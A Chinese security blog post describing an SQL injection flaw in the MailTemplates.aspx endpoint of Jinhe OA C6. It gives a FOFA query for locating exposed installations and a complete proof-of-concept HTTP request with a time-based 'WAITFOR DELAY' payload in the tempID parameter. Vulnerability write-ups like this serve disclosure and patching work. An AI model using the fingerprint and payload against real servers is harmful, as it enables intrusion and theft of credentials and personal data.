金和OA C6 MailTemplates.aspx SQL注入漏洞

原创已于 2024-01-09 09:58:54 修改 · 638 阅读

6 ·

CC 4.0 BY-SA版权

文章标签：

#sql #数据库 #web安全 #网络安全 #安全

于 2024-01-09 09:58:38 首次发布

漏洞复现专栏收录该内容

37 篇文章

订阅专栏

本文分析了金和OA协同办公管理系统中的SQL注入漏洞，指出攻击者可能获取敏感数据并植入木马。提出使用预编译语句进行安全修复的建议。

文章目录

产品简介

金和OA协同办公管理系统软件（简称金和OA），本着简单、适用、高效的原则，贴合企事业单位的实际需求，实行通用化、标准化、智能化、人性化的产品设计，充分体现企事业单位规范管理、提高办公效率的核心思想，为用户提供一整套标准的办公自动化解决方案，以帮助企事业单位迅速建立便捷规范的办公环境。

漏洞概述

金和OA C6 MailTemplates.aspx接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

指纹识别

fofa:

app="金和网络-金和OA"

漏洞利用

poc:

GET /C6/JHSoft.Web.Mail/MailTemplates.aspx/?tempID=1%3BWAITFOR+DELAY+%270%3A0%3A3%27-- HTTP/1.1
Host: you_ip
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close